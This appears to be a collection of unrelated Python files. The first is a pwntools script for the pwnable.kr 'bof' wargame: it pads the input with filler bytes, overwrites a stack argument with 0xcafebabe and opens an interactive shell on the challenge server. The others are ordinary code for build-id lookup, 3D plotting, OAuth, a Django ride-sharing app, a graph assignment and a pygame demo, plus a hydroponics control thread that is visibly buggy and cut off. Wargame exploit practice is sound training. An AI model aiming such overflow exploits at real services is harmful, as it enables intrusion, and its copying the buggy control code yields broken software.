#!/usr/bin/env python

from pwn import *

HOST = "pwnable.kr"
PORT = 9000

char_s = 0xffffd5ac
int_a1 = 0xffffd5e0

def connection():
    conn = remote(HOST, PORT)
    return conn

def createPayload():
    payload = "\x90" * (int_a1 - char_s)
    payload += p32(0xcafebabe)
    return payload

def exploit(conn, payload):
    log.info("offset: {}".format(int_a1 - char_s))
    log.info("{}".format(hexdump(payload)))
    conn.send(payload)
    conn.interactive()

if __name__ == "__main__":
    conn = connection()
    payload = createPayload()
    exploit(conn, payload)
    conn.close()


# Copyright 2011 Red Hat Inc.
# Author: Kushal Das <kdas@redhat.com>
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.  See http://www.gnu.org/copyleft/gpl.html for
# the full text of the license.

import os
import json
from .models import *

def parsepath(path):
    """
    Parse the url and send the details back in a tuple
    """

    data = path.split('?')
    values = {}
    if len(data) > 1:
        for x in data[1].split('&'):
            tmp = x.split('=')
            values[tmp[0]] = tmp[1]

    return data[0], values

def find_rpm_details(name):
    """
    Return GNU build-id details for a rpm
    """
    if name.endswith('.rpm'):
        name = name[:-4]

    rows = Gnubuildid.objects.filter(rpm_name=name)
    result = []
    for row in rows:
        data = {}
        data['buildid'] = row.build_id
        data['elf'] = os.path.join(row.instpath,row.elfname)
        data['rpm'] = row.rpm_name
        data['distro'] = row.distro
        data['url'] = row.rpm_url
        result.append(data)

    return json.dumps(result)

def find_buildids(ids):
    """
    Return the buildid details
    """

    ids = ids.split(',')

    rows = Gnubuildid.objects.filter(build_id__in=ids)
    result = []
    for row in rows:
        data = {}
        data['buildid'] = row.build_id
        data['elf'] = os.path.join(row.instpath,row.elfname)
        data['rpm'] = row.rpm_name
        data['distro'] = row.distro
        data['url'] = row.rpm_url
        result.append(data)

    return json.dumps(result)

def find_rpm_url(name):
    "Find the rpm download URL"
    if name.endswith('.rpm'):
        name = name[:-4]
    url = ''
    row = None
    try:
        row = Gnubuildid.objects.filter(rpm_name=name).first()
    except:
        pass
    if row:
        url = row.rpm_url
    return json.dumps({'url':url})

if __name__ == '__main__':
    from pprint import pprint
    pprint(parsepath('/rpm?name=yum&base=105&release=78'))


import numpy as np
from mayavi import mlab

def rot_x(t):
    '''
    Compute rotation matrix along x axix
    Args: t - radian of rotation angle
    '''
    c = np.cos(t)
    s = np.sin(t)
    return np.array([[1,  0,  0],
                     [0,  c, -s],
                     [0,  s,  c]])

def rot_y(t):
    '''
    Compute rotation matrix along y axix
    Args: t - radian of rotation angle
    '''
    c = np.cos(t)
    s = np.sin(t)
    return np.array([[c,  0,  s],
                     [0,  1,  0],
                     [-s, 0,  c]])
def rot_z(t):
    '''
    Compute rotation matrix along z axix
    Args: t - radian of rotation angle
    '''
    c = np.cos(t)
    s = np.sin(t)
    return np.array([[c, -s,  0],
                     [s,  c,  0],
                     [0,  0,  1]])

class Plotter3D(object):
    def __init__(self, size=(400, 300)):
        self.size = size
        self.fig = None

    def _create_figure(self):
        if self.fig == None:
            self.fig = mlab.figure(size=self.size)

    def _color_bar(self, title):
        cb = mlab.colorbar(title=title, orientation='vertical',
            nb_labels=10, label_fmt='%.1f')
        cb.label_text_property.bold = False
        cb.label_text_property.italic = False
        cb.scalar_bar.unconstrained_font_size = True
        cb.label_text_property.font_size = 16

    def draw_axis(self, points, line_width=1.2):
        min_val, max_val = points.min(0), points.max(0)
        mlab.plot3d([0, max_val[0]], [0, 0], [0, 0], color=(1, 0, 0), tube_radius=None, line_width=line_width, figure=self.fig)
        mlab.plot3d([0, 0], [0, max_val[1]], [0, 0], color=(0, 1, 0), tube_radius=None, line_width=line_width, figure=self.fig)
        mlab.plot3d([0, 0], [0, 0], [0, max_val[2]], color=(0, 0, 1), tube_radius=None, line_width=line_width, figure=self.fig)

    def draw_points(self, points, color=(1, 1, 1), label=None, prob=None,
        mode='point', scale_factor=1.2, title='', rgb=None):
        self._create_figure()
        # if points.ndim == 3:
        #     points = points.copy().squeeze()
        (x, y, z) = (points[:, 0], points[:, 1], points[:, 2])

        if isinstance(color, np.ndarray):
            color = tuple(color.tolist())

        if isinstance(color, list):
            color = tuple(color)

        if label is not None:
            label_val = np.unique(label).tolist()
            colors = sns.color_palette('coolwarm', len(label_val))
            for l in label_val:
                idx = (label == l).nonzero()
                color = tuple([c for c in colors[l]])
                mlab.points3d(x[idx], y[idx], z[idx], color=color, scale_factor=scale_factor)
        elif prob is not None:
            mlab.points3d(x, y, z, prob, colormap='jet', scale_factor=scale_factor, scale_mode='vector')
            self._color_bar(title)
        else:
            if rgb is None:
                mlab.points3d(x, y, z, color=color, mode=mode, scale_factor=scale_factor)
            else:
                rgba = np.concatenate((rgb, np.ones((rgb.shape[0], 1))*255), axis=1).astype(np.uint8)
                pts = mlab.pipeline.scalar_scatter(x, y, z, mode='point') # plot the points
                pts.add_attribute(rgba, 'colors') # assign the colors to each point
                pts.data.point_data.set_active_scalars('colors')
                g = mlab.pipeline.glyph(pts)
                g.glyph.glyph.scale_factor = scale_factor # set scaling for all the points
                g.glyph.scale_mode = 'data_scaling_off' # make all the points same size

        mlab.orientation_axes()

    def draw_boxes(self, boxes, color=(1,1,1), line_width=1, draw_text=True, text_scale=(1,1,1), color_list=None):
        ''' Draw 3D bounding boxes
        Args:
            boxes: numpy array (n,8,3) for XYZs of the box corners
            fig: mayavi figure handler
            color: RGB value tuple in range (0,1), box line color
            line_width: box line width
            draw_text: boolean, if true, write box indices beside boxes
            text_scale: three number tuple
            color_list: a list of RGB tuple, if not None, overwrite color.
        Returns:
            fig: updated fig
        '''
        self._create_figure()
        num = len(boxes)
        for n in range(num):
            b = boxes[n]
            if color_list is not None:
                color = color_list[n]
            if draw_text: mlab.text3d(b[4,0], b[4,1], b[4,2], '%d'%n, scale=text_scale, color=color, figure=fig)
            for k in range(0,4):
                #http://docs.enthought.com/mayavi/mayavi/auto/mlab_helper_functions.html
                i,j=k,(k+1)%4
                mlab.plot3d([b[i,0], b[j,0]], [b[i,1], b[j,1]], [b[i,2], b[j,2]], color=color, tube_radius=None, line_width=line_width, figure=fig)

                i,j=k+4,(k+1)%4 + 4
                mlab.plot3d([b[i,0], b[j,0]], [b[i,1], b[j,1]], [b[i,2], b[j,2]], color=color, tube_radius=None, line_width=line_width, figure=fig)

                i,j=k,k+4
                mlab.plot3d([b[i,0], b[j,0]], [b[i,1], b[j,1]], [b[i,2], b[j,2]], color=color, tube_radius=None, line_width=line_width, figure=fig)

    def draw_poses(self, poses, skeletons=None, colors=None, tube_radius=2):
        '''
        '''
        self._create_figure()
        for pose in poses:
            if pose is not None and skeletons is not None:
                for id, sk in enumerate(skeletons):
                    px, py, pz = pose[sk, 0], pose[sk, 1], pose[sk, 2]
                    c = tuple([c for c in colors[id]])
                    mlab.plot3d(px, py, pz, color=c, tube_radius=tube_radius)

    def plot(self, ply, pose=None, skeletons=None, skeleton_colors=None, num_point=1024,
        tube_radius=2, is_show=False, is_draw=False, file_path='temp.png',
        label = None, num_joints=19):
        '''
        Plot vertices and triangles from a PlyData instance. Assumptions:
            `ply' has a 'vertex' element with 'x', 'y', and 'z'
                properties;
            `ply' has a 'face' element with an integral list property
                'vertex_indices', all of whose elements have length 3.
        '''

        self._create_figure()
        mlab.clf()

        if isinstance(ply, PlyData):
            vertex = ply['vertex']
            (x, y, z) = (vertex[t][0:num_point] for t in ('x', 'y', 'z'))
        elif isinstance(ply, np.ndarray):
            ply = ply.copy().squeeze()[0:num_point, :]
            (x, y, z) = (ply[:, 0], ply[:, 1], ply[:, 2])
        else:
            print('Only numpy.array and PlyData are supported: ', type(ply))
            return

        if label is not None:
            assert label.size == num_point
            label_val = np.unique(label).tolist()
            colors = sns.color_palette('coolwarm', num_joints)
            for l in label_val:
                idx = (label == l).nonzero()
                color = tuple([c for c in colors[l]])
                mlab.points3d(x[idx], y[idx], z[idx], color=color, scale_factor=1.2)
        else:
            mlab.points3d(x, y, z, color=(1, 1, 1), mode='point')

        # plot origin=
        mlab.points3d(0, 0, 0, 0.5, color=(1, 1, 1), scale_factor=10, transparent=True)

        if pose is not None and skeletons is not None:
            for id, sk in enumerate(skeletons):
                px, py, pz = pose[sk, 0], pose[sk, 1], pose[sk, 2]
                c = tuple([c for c in skeleton_colors[id]])
                mlab.plot3d(px, py, pz, color=c, tube_radius=tube_radius)

        mlab.view(azimuth=180, elevation=0, distance=800, focalpoint=[8, -100, 8])

        if is_show:
            mlab.show(stop=True)

        if is_draw:
            mlab.savefig(file_path)

    def show(self, stop=True):
        mlab.show(stop=stop)

    def screenshot(self):
        return mlab.screenshot()

    def save(self, file_path):
        # mkdir_p(os.path.dirname(file_path))
        mlab.savefig(file_path)

    def view(self, azimuth=None, elevation=None, distance=None, focalpoint=None, roll=None, reset_roll=True, figure=None):
        return mlab.view(azimuth=azimuth, elevation=elevation, distance=distance,
            focalpoint=focalpoint, roll=roll, reset_roll=reset_roll, figure=figure)

    def move(self, forward=None, right=None, up=None):
        return mlab.move(forward=forward, right=right, up=up)

    def clf(self):
        if self.fig is not None:
            mlab.clf()


"""A simple web server that implments the suthorization code grant flow"""
__author__ = "Ross Kelso"
__docformat__ = 'reStructuredText'

import json
import urllib

from bottle import route, run, request, redirect

import intelligent_plant.app_store_client as app_store

app_id = None
app_secret = None
base_url = None

#in the real world a new client would need to be instanced per user
client = None

#load the json config file with the app information
with open('config.json') as json_config_file:
    config = json.load(json_config_file)

    print(config)

    app_id = config['app']['id']
    app_secret = config['app']['secret']
    base_url = config['app_store']['base_url']

@route('/auth')
def auth():
    """After logging in the browser is redirected here where the server complete authorization"""
    global client
    auth_code = request.query.code

    client = app_store.complete_authorization_code_grant_flow(auth_code, app_id, app_secret, "http://localhost:8080/auth", base_url=base_url)

    redirect('/info')

@route('/info')
def info():
    """Once authorized the user is redirected here which displays there app store user info"""
    data = client.get_user_info()
    return str(data)

@route('/refresh')
def info():
    """Refresh teh client session using the refresh token"""
    global client
    client = client.refresh_session(app_id, app_secret)
    return "Refreshed"

@route('/')
def index():
    """Users land here at the route and get redirected to the app store login page"""
    url = app_store.get_authorization_code_grant_flow_url(app_id, "http://localhost:8080/auth", ["UserInfo", "DataRead"], base_url=base_url)
    redirect(url)

run(host='localhost', port=8080)


from django.shortcuts import render, redirect
from django.urls import reverse_lazy
from django.http import HttpResponse
from datetime import datetime
from django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin
from django.contrib.auth.models import User
from django.contrib import messages
from .models import Driver, Request
from .form import UserRegisterForm, SharerSearchForm
from django.db.models import Q
from django.core.mail import send_mail
from django.contrib.auth.decorators import login_required
from django.contrib.messages.views import SuccessMessageMixin

from django.views.generic import (
    CreateView,
    DetailView,
    UpdateView,
    DeleteView
)

# Test
def index(request):
    return HttpResponse("Hello, world. You're at the rideService index.")

def home(request):
    accounts = User.objects.order_by('username')[:5]
    context = {'accounts' : accounts}
    return render(request, 'rideService/index.html', context)

def email(request):
    subject = "Test Email from django"
    message = "Happy New Year!"
    fromMail = "xBer@ece.com"
    toMail = ["naixin.yu@duke.edu"]
    send_mail(subject, message, fromMail, toMail, fail_silently=False)
    return HttpResponse("Send E-mail Success!")

# Account
def register(request):
    if request.method == 'POST':  # data sent by user
        form = UserRegisterForm(request.POST)
        if form.is_valid():
            form.save()  # this will save Car info to database
            username = form.cleaned_data.get('username')
            messages.success(request, f'Account created for {username}!')
            return redirect('login')
    else:
        form = UserRegisterForm()
    return render(request, 'rideService/register.html', {'form':form})

# Homepage
@login_required
def role(request):
    context = {'isDriver' : True}
    try:
        driver = Driver.objects.get(account=request.user)
        print(driver.id)
        context = {'isDriver' : True,
                    'driverID' : driver.id}
    except Driver.DoesNotExist:
        context = {'isDriver' : False}
    return render(request, 'rideService/role.html', context)

# Ride Create/Edit/Delete (Owner)
class RequestCreateView(LoginRequiredMixin, SuccessMessageMixin, CreateView):
    model = Request
    fields = ['destination', 'arrival_time', 'num_passengers', 'shareable', 'vehicle_type', 'special_request']
    success_url = reverse_lazy('owner-all-requests')
    success_message = "Route %(destination)s was created successfully!"
    def form_valid(self, form):
        form.instance.ride_owner = self.request.user
        form.instance.confirmed = False
        form.instance.status = "open"
        return super().form_valid(form)

class RequestUpdateView(LoginRequiredMixin, SuccessMessageMixin, UpdateView):
    model = Request
    fields = ['destination', 'arrival_time', 'num_passengers', 'shareable', 'vehicle_type', 'special_request']
    template_name = 'rideService/request_update.html'
    success_url = reverse_lazy('owner-all-requests')
    success_message = "Route %(destination)s was updated successfully!"
    def form_valid(self, form):
        form.instance.ride_owner = self.request.user
        form.instance.confirmed = False
        return super().form_valid(form)

    def test_func(self):
        current = self.get_object()
        if self.request.user == current.ride_owner:
            return True
        return False

class RequestDeleteView(LoginRequiredMixin, SuccessMessageMixin,UserPassesTestMixin, DeleteView):
    model = Request
    success_url = reverse_lazy('owner-all-requests')
    success_message = "Route was deleted sucessfully!"
    def test_func(self):
        current = self.get_object()
        if self.request.user == current.ride_owner:
            return True
        return False

# Ride Searching/Status Viewing (Owner)
@login_required
def ownerRequest(request):
    context = {
        'request_confirmed': Request.objects.filter(ride_owner=request.user, status='confirmed'),
        'requests_unconfirmed': Request.objects.filter(ride_owner=request.user, status='open'),
        'request_complete': Request.objects.filter(ride_owner=request.user, status='complete'),
    }
    num = len(context['request_confirmed']) + len(context['requests_unconfirmed']) + len(context['request_complete'])
    context['num'] = num
    return render(request, 'rideService/owner_request.html', context)

class RequestDetailView(LoginRequiredMixin,DetailView):
    model = Request

# Ride Searching/Status Viewing (Driver)
@login_required
def driverFindRequest(request):
    thisDriver = Driver.objects.get(account=request.user)
    requests = []
    candidateRequests = Request.objects.filter(
        status='open',
        arrival_time__gt=datetime.now()
        )
    for req in candidateRequests:
        num = req.num_passengers + req.num_sharer
        if num > thisDriver.max_passengers:
            continue
        if req.vehicle_type and req.vehicle_type != thisDriver.vehicle_type:
            continue
        if req.special_request and req.special_request != thisDriver.special_info:
            continue
        requests.append(req)

    context = {
        'driver': thisDriver,
        'requests': requests
    }

    return render(request, 'rideService/driver_find_request.html', context)

@login_required
def driverAccpetRequest(request, pk, time):
    thisRequest = Request.objects.get(id=pk)
    timestamp = time[:15]
    original_timestamp = str(thisRequest.last_updated)[:15]
    if timestamp != original_timestamp:
        print("timestamp doesn't match")
        return redirect('role')
    messages.success(request, 'Requset Confirmed')
    thisRequest.driver = Driver.objects.get(account=request.user)
    thisRequest.status = 'confirmed'
    thisRequest.save()
    sendCloseEmail(pk)
    return redirect('role')

@login_required
def driverConfirmedRides(request):
    thisDriver = Driver.objects.get(account=request.user)
    context = {
        'driver': thisDriver,
        'requests': Request.objects.filter(driver=thisDriver, status='confirmed')
    }
    return render(request, 'rideService/driver_confirmed_request.html', context)

class DriverRequestDetailView(LoginRequiredMixin,DetailView):
    model = Request
    template_name = 'rideService/driver_request_detail.html'

class DriverConfirmedRequestDetailView(LoginRequiredMixin,DetailView):
    model = Request
    template_name = 'rideService/driver_confirmed_request_detail.html'

@login_required
def DriverCompleteRides(request, pk):
    thisRequest = Request.objects.get(id=pk)
    thisRequest.status = 'complete'
    thisRequest.save()
    return driverConfirmedRides(request)

# Registration/Edit (Driver)
class DriverCreateView(LoginRequiredMixin, CreateView):
    model = Driver
    fields = ['vehicle_type', 'license_number', 'max_passengers', 'special_info']
    success_url = reverse_lazy('role')
    success_message = "You have been registed as driver successfully"
    def form_valid(self, form):
        form.instance.account = self.request.user
        return super().form_valid(form)

class DriverUpdateView(LoginRequiredMixin, UpdateView):
    model = Driver
    fields = ['vehicle_type', 'license_number', 'max_passengers', 'special_info']
    success_url = reverse_lazy('role')
    success_message = "Your profile has been updated successfully"
    def form_valid(self, form):
        form.instance.account = self.request.user
        return super().form_valid(form)

    def test_func(self):
        current = self.get_object()
        if self.request.user == current.account:
            return True
        return False

class DriverDetailView(LoginRequiredMixin,DetailView):
    model = Driver
    template_name = 'rideService/driver_profile.html'

# Ride Searching (Sharer)
@login_required
def SharerSearchView(request):
    if request.method == 'POST':
        form = SharerSearchForm(request.POST)
        if form.is_valid():
            des = form.cleaned_data.get('destinationFromSharer')
            time_before = form.cleaned_data.get('arrival_time_before')
            time_after = form.cleaned_data.get('arrival_time_after')
            num_sharer = form.cleaned_data.get('num_sharer')
            context = {
                'num_sharer' : num_sharer,
                'Certified_Request': Request.objects.filter(destination=des,
                                                            arrival_time__gt = time_after,
                                                            arrival_time__lt = time_before,
                                                            shareable = True,
                                                            status='open'),
            }
            return render(request, 'rideService/sharer_allrequests.html', context)
    else:
        form = SharerSearchForm()
    return render(request, 'rideService/sharer_search.html', {'form':form})

@login_required
def sharerJoinRide(request, pk, num_sharer):
    thisRequest = Request.objects.get(id=pk)
    if thisRequest.status != "open" or thisRequest.shareable == False:
        print("This ride cannot be joined")
        return redirect('role')
    thisRequest.sharer = request.user
    thisRequest.num_sharer = num_sharer
    thisRequest.save()
    print("join success")
    return redirect('role')

@login_required
def sharerLeaveRide(request, pk):
    thisRequest = Request.objects.get(id=pk)
    if thisRequest.status != "open":
        print("You cannot edit this request")
        return redirect('role')
    thisRequest.sharer = None
    thisRequest.num_sharer = 0
    thisRequest.save()
    return redirect('role')

@login_required
def sharerViewRides(request):
    context = {
        'requests': Request.objects.filter(sharer=request.user)
    }
    return render(request, 'rideService/sharer_request_detail.html', context)

def sendCloseEmail(pk):
    thisRequest = Request.objects.get(id=pk)
    subject = "Your Ride to " + thisRequest.destination + " is Complete"
    message = "Thank you for riding with Xber! Your Ride to " + thisRequest.destination + " is Confirmed."
    toMail = [thisRequest.ride_owner.email]
    if thisRequest.num_sharer > 0:
        toMail.append(thisRequest.sharer.email)
    send_mail(subject, message, "xBer@ece.com", toMail)


# 6.0002 Problem Set 2
# Graph Optimization
# Name: Malobika F. Syed
# Collaborators:
# Time: 6:00

#
# Finding shortest paths to drive from home to work on a road network
#

import unittest
from graph import DirectedRoad, Node, RoadMap

# PROBLEM 2: Building the Road Network
#
# PROBLEM 2a: Designing your Graph
#
# What do the graph's nodes represent in this problem? What
# do the graph's edges represent? Where are the times
# represented?
#
# ANSWER: Nodes represented places, edges represent roads, time is an attribute of directed road
#
#

# PROBLEM 2b: Implementing load_map
def load_map(map_filename):
    """
    Parses the map file and constructs a road map (graph).

    Parameters:
        map_filename : name of the map file

    Assumes:
        Each entry in the map file consists of the following format, separated by tabs:
            From To TotalTime  RoadType
        e.g.
            N0	N1	15	interstate
        This entry would become an edge from 'N0' to 'N1' on an interstate highway with
        a weight of 15. There should also be another edge from 'N1' to 'N0' on an interstate
        using the same weight.

    Returns:
        a directed road map representing the inputted map
    """
    inFile = open(map_filename, 'r') #opening file
    content = inFile.readlines() #reading lines
    roadmap = RoadMap() #creating new instance
    for line in content: #looping through lines
        info = line.split() #spliting lines
        source = Node(info[0])
        destination = Node(info[1])
        total_time = info[2]
        road = info[3]

        if not roadmap.has_node(source): #checking to see if node is not in roadmap
            roadmap.add_node(source)

        if not roadmap.has_node(destination): #checking if dest is already on map
            roadmap.add_node(destination)

        x = DirectedRoad(source,destination,total_time,road) #creating directed road
        y = DirectedRoad(destination,source,total_time,road) #creating directed road

        roadmap.add_road(x) #adding road to map
        roadmap.add_road(y)

    inFile.close()

    return roadmap

# PROBLEM 2c: Testing load_map

# Include the lines used to test load_map below, but comment them out

#test = load_map('test_load_map.txt')
#print('Expected:')
#print('Other -> Thing1 takes 6 hours via type3 road')
#print('Something -> Thing takes 7 hours via type2 road')
#print('Thing -> Something takes 7 hours via type2 road')
#print('Thing -> Thing1 takes 15 hours via type1 road')
#print('Thing1 -> Other takes 6 hours via type3 road')
#print('Thing1 -> Thing takes 15 hours via type1 road')
#print(" ")
#print('Actual:')
#print(test)

# PROBLEM 3: Finding the Shortest Path using Optimized Search Method
#
# PROBLEM 3a: Objective function
#
# What is the objective function for this problem? What are the constraints?
#
# ANSWER: find shortest path, contraints: restricted roads (can't use them)

# PROBLEM 3b: Implement get_neighbors
def get_neighbors(roadmap, node, restricted_roads):
    """
    Finds the neighbors of a node in a given roadmap, without
    considering roads of type in restricted_roads.

    Parameter:
        roadmap: RoadMap
            The graph on which to carry out the search
        node: Node
            node whose neighbors to retrieve
        restricted_roads: list[strings]
            Road Types not under consideration

    Returns:
        list of neighbor nodes
    """

    all_roads = roadmap.get_roads_for_node(node) #getting all roads

    neighbours = []

    for road in all_roads:
        if road.get_type() not in restricted_roads: #weeding out restricited roads
            neighbours.append(road.get_destination())

    return neighbours

# PROBLEM 3c: Implement get_best_path
def get_best_path(roadmap, start, end, restricted_roads, to_neighbor = False):
    """
    Finds the shortest path between nodes subject to constraints.

    Parameters:
        roadmap: RoadMap
            The graph on which to carry out the search
        start: Node
            node at which to start
        end: Node
            node at which to end
        restricted_roads: list[strings]
            Road Types not allowed on path
        to_neighbor: boolean
            flag to indicate whether to get shortest path to end or
            shortest path to some neighbor of end

    Returns:
        A tuple of the form (best_path, best_time).
        The first item is the shortest-path from start to end, represented by
        a list of nodes (Nodes).
        The second item is an integer, the length (time traveled)
        of the best path.

        If there exists no path that satisfies restricted_roads constraints, then return None.
    """
    # Write Dijkstra implementation here

    # PROBLEM 4c: Handle the to_neighbor = True case here

    unvisited = roadmap.get_all_nodes() #getting all roads
    distanceTo = {node:float('inf') for node in roadmap.get_all_nodes()} #creating dictionary
    distanceTo[start] = 0 #changing starting node's ditance
    predecessor = {node: None for node in roadmap.get_all_nodes()} #creating dictionary for parents
    best_path = [] #will be returned

    if start not in unvisited or end not in unvisited: #making sure that nodes are on map
        return None

    if start == end: #checking if there is no need to travel
        return (best_path, distanceTo[start])

    while unvisited: #important loop

        #getting minimum toDistance, at beginning, this is starting node
        current = min(unvisited, key=lambda node:distanceTo[node])

        #making sure that pointer's toDistance is not infinity, because then won't work
        if distanceTo[current] == float('inf'):
            break

        for road in roadmap.get_roads_for_node(current): #getting roads for current

            neighbor = road.get_destination() #getting node's neigbor
            alternativePathDist = distanceTo[neighbor] #setting alternative path

            if road.get_type() not in restricted_roads: #weeding out unwanted to roads, if there is unwanted road,
                #then alternativepathdist will remain infinity, which helps when picking out best_path
                alternativePathDist = distanceTo[current] + int(road.get_total_time()) #calculating alternative path

            if alternativePathDist < distanceTo[neighbor]: #checking which path is better
                distanceTo[neighbor] = alternativePathDist
                predecessor[neighbor] = current

        unvisited.remove(current) #shortening unvisited

    if to_neighbor: #addressing to_Neighbor = True case
        #sorting the end's neigbors by how close they are to the start (using distanceTo)
        x= [] #empty list because road type between neighbor and road doesn't matter
        places = sorted(get_neighbors(roadmap, end, x), key = lambda x: distanceTo[x])
        #getting first elemet of the places because that has the shortest distanceTo
        current = places[0]
        time = distanceTo[current]
        #could also do current = predecessor[end]

    else:
        current = end

    while predecessor[current] != None: #backtracking
        best_path.insert(0, current) #inserting current, which is also way predecessors are added
        current = predecessor[current] #changing current to predecessor so that predecessor can be added

    if best_path != []:
        best_path.insert(0,current) #adding start
    else:
        return None

    if to_neighbor:
        return (best_path, time)
    return (best_path, distanceTo[end]) #returning tuple

# PROBLEM 4a: Implement best_path_ideal_traffic
def best_path_ideal_traffic(filename, start, end):
    """Finds the shortest path from start to end during ideal traffic conditions.

    You must use get_best_path and load_map.

    Parameters:
        filename: name of the map file that contains the graph on which
            carry out the search
        start: Node
            node at which to start
        end: Node
            node at which to end
    Returns:
        The shortest path from start to end in normal traffic,
            represented by a list of nodes (Nodes).

        If there exists no path, then return None.
    """
    roadmap = load_map(filename)
    restricted_roads = [] #no restricted roads

    return get_best_path(roadmap, start, end, restricted_roads)[0] #getting first part of tuple

# PROBLEM 4b: Implement best_path_restricted
def best_path_restricted(filename, start, end):
    """Finds the shortest path from start to end when local roads cannot be used.

    You must use get_best_path and load_map.

    Parameters:
        filename: name of the map file that contains the graph on which
            carry out the search
        start: Node
            node at which to start
        end: Node
            node at which to end
    Returns:
        The shortest path from start to end given the aforementioned conditions,
            represented by a list of nodes (Nodes).

        If there exists no path that satisfies restricted_roads constraints, then return None.
    """
    roadmap = load_map(filename)
    restricted_roads = ["local"] #have restriced roads

    return get_best_path(roadmap, start, end, restricted_roads)[0]

# PROBLEM 4c: Implement best_path_to_neighbor_restricted
def best_path_to_neighbor_restricted(filename, start, end):
    """Finds the shortest path from start to some neighbor of end
    when local roads cannot be used.

    You must use get_best_path and load_map.

    Parameters:
        filename: name of the map file that contains the graph on which
            carry out the search
        start: Node
            node at which to start
        end: Node
            node at which to end; you may assume that start != end
    Returns:
        The shortest path from start to some neighbor of end given the
            aforementioned conditions, represented by a list of nodes (Nodes).

        If there exists no path that satisfies restricted_roads constraints, then return None.
    """
    roadmap = load_map(filename)
    restricted_roads = ["local"]

    return get_best_path(roadmap, start, end, restricted_roads, True)[0] #making sure toNeighbor is True

#roadmap = load_map("test_load_map.txt")
#start = Node("Thing")
#end = Node("Other")
#restricted_roads = []
#l = get_best_path(roadmap, start, end, restricted_roads, True)
#q = get_best_path(roadmap, start, end, restricted_roads)
#print(l)
#print(q)

# UNCOMMENT THE FOLLOWING LINES TO DEBUG

##rmap = load_map('road_map.txt')
##
##start = Node('N0')
##end = Node('N9')
##restricted_roads = ['']
##
##print(get_best_path(rmap, start, end, restricted_roads))


import pygame, time, os, sys
from pygame.locals import *

if not pygame.font: print("Warning, fonts disable")
if not pygame.mixer: print("Warning, sound disable")

pygame.init()
screen = pygame.display.set_mode((640, 480))

pygame.mouse.set_visible(0)

background = pygame.Surface(screen.get_size())
background = background.convert()
background.fill((250, 250, 250))

screen.blit(background, (0, 0))

#rect = pygame.Rect((10,10,20,20))
#rt = (screen, (250, 0, 0), rect)
#lol = rt.get_rect()
#pygame.draw.rect(rt[0], rt[1], rt[2])
#
#pygame.display.flip()
#square = Square()
#allsprites = pygame.sprite.RenderPlain((square))

rect = pygame.Surface((10, 10))
rect.fill((0, 255, 0))
rect.convert()
rectangle = rect.get_rect()
rectangle.x = 320
rectangle.y = 240

rectangle2 = rect.get_rect()
rectangle2.x = 290
rectangle2.y = 240

clock = pygame.time.Clock()
def main():
    direction = [0, 0]
    speed = 1
    while True:

        screen.blit(background, rectangle)
        screen.blit(background, rectangle2)
        clock.tick(60)

        #pygame.draw.rect(rect, (0, 255, 0), (10, 10, 10, 10))
        for event in pygame.event.get():
            if event.type == QUIT:
                return
            elif event.type == KEYDOWN:
                if event.key == K_ESCAPE:
                    return
                elif event.key == K_RIGHT:
                    direction = [0, 1]
                elif event.key == K_LEFT:
                    direction = [0, -1]
                elif event.key == K_DOWN:
                    direction = [1, 0]
                elif event.key == K_UP:
                    direction = [-1, 0]
                #square._move()

        rectangle.x += speed * direction[1]
        rectangle.y += speed * direction[0]

        rectangle2.x -= speed * direction[1]
        rectangle2.y -= speed * direction[0]

        screen.blit(rect, rectangle2)
        screen.blit(rect, rectangle)
        pygame.display.update()

        #allsprites.update()

        #screen.blit(background, (0, 0))
        #screen.blit(square)
        #allsprites.draw(screen)
        #pygame.display.flip()

main()

#class Square(pygame.sprite.Sprite):
#
#    """Stupid sexy square"""
#
#    def __init__(self):
#        pygame.sprite.Sprite.__init__(self)
#        #self.image, self.rect = load_image('square.bmp', -1)
#        #screen = pygame.display.get_surface()
#        #self.rect = pygame.Rect(10, 10)
#        #self.area = screen.get_rect()
#        #self.rect.topleft = 10, 10
#        #self.move = 9
#        self.rect = pygame.surface(10, 10)
#
#    def _move(self):
#        pygame.draw.rect(self.rect, (0, 255, 0))
#        newpos = self.rect.move((self.move, 0))
#        self.rect = newpos


#Mixing Process
import threading
import global_var
import Sensors
#implement dual locking mechanism only single event has been coded in
P3_port="P8_39"    #NPK1 pump
P4_port="P8_41"    #NPK2 pump
P2_port="P8_37"    #Condensate Pump
P8_port="P8_45"   #Pre-Filter Pump
P5_port="P8_43"    #ph Pump
S105_Channel="P9_33"
S112_Channel="P9_35"
S113_Channel="P9_37"
S106_Channel="P9_39"
S109_Channel="P9_40"
class Mixing_Process(threading.Thread):
    def __init__(watering_event,global_event):
        threading.Thread.__init__(self)
        self.watering_event=watering_event
        self.global_event=global_event

    def run(self):
        pass
        while True:
            self.global_event.wait() # Global stop when flag is cleared
            S112_value=Sensors.Liquid_level(S112_Channel) # T9 S112 level sensor
            global_var.sensor_hash_table["LL_2"]=S112_value
            S105_value=Sensors.Liquid_level(S105_Channel)
            global_var.sensor_hash_table["LL_1"]=S105_value
            S113_value=Sensors.Liquid_level(S113_Channel)
            global_var.sensor_hash_table["LL_3"]=S113_value
            HSST_N22=global_var.hsst_hash("N22")
            HSST_N21=global_var.hsst_hash("N21")
            while ((S112_value>HSST_N22) and (S105+S113<HSST_N21)):
                self.watering_event.clear() # Stop watering function
                while not global_var.watering_paused: #Wait till the watering function is stopped
                    time.sleep(2)
                leachate_dump()
                condensation_dump()
                NTR_conditioning()
                pH_Conditioning()
                gloabl_var.watering_paused=False;
                self.watering_event.set() #Resume watering function
                #Recollect all data and start loop again
                Sll2_value=Sensors.Liquid_level(S112_Channel) # T9 S112 level sensor
                global_var.sensor_hash_table["LL_2"]=S112_value
                S105_value=Sensors.Liquid_level(S105_Channel)
                global_var.sensor_hash_table["LL_1"]=S105_value
                S113_value=Sensors.Liquid_level(S113_Channel)
                global_var.sensor_hash_table["LL_3"]=S113_value
                HSST_N22=global_var.hsst_hash("N22")
                HSST_N21=global_var.hsst_hash("N21")
                time.sleep(30) #polling rate double check
            time.sleep(60)#Double check

"Condensation Dump Function"
#Incorporate control logic V6
def Condensation_Dump():
    HSST_M26=global_var.hsst_hash("M26");
    S106_value=Sensors.Liquid_level(S106_Channel)
    global_var.sensor_hash_table["LL_4"]=S106_value

    if S106_value>HSST_M26:
        while S106_level > HSST_M26:
            mech_ctrl.pump(P2_port,GPIO.HIGH) #Activate Condensation pump P2
